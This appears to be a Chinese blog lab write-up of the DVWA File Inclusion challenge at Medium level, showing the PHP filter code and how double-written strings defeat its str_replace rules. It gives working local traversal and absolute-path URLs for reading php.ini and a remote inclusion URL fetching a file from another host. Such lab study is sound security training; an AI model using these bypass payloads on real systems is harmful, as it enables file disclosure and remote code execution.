DVWA-4.2 File Inclusion(文件包含)-Medium-双写绕过str_replace替换规则

Medium Level

服务器端核心代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );//个人感觉这里的源码错了,应该改为"..\\",其中第一个反斜杠用来转义第二个反斜杠

?>

可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。

漏洞利用

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如page=hthttp://tp://192.168.5.12/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功执行远程命令。

同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

1、本地文件包含

构造url(绝对路径)

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\software\wamp\www\dvwa\php.ini

绝对路径不受任何影响,读取成功

构造url(相对路径)

http://172.16.134.26/dvwa/vulnerabilities/fi/?page=....\\....\\....\\....\\....\....\\....\\....\\....\\software\wamp\www\dvwa\php.ini

这里将..\改为了....\\,也可以将其改为...\.\

注意:此处将源代码改为了  "..\\",个人感觉原来的代码不对,根本没有过滤 ..\ 。

 

2、远程文件包含

http://172.16.134.26/dvwa/vulnerabilities/fi/page=htthttp://p://172.16.135.47/dvwa/phpinfo.txt

远程执行命令成功

构造url

http://172.16.134.26/dvwa/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%2e%31%33%35%2e%34%37%2f%64%76%77%61%2f%70%68%70%69%6e%66%6f%2e%74%78%74

经过编码后的url不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的page参数依然是http://172.16.135.47/dvwa/phpinfo.txt,因此读取失败。

 

参考:https://www.freebuf.com/articles/web/119150.html

posted @ 2020-05-06 16:39  zhengna  阅读(1024)  评论(0编辑  收藏  举报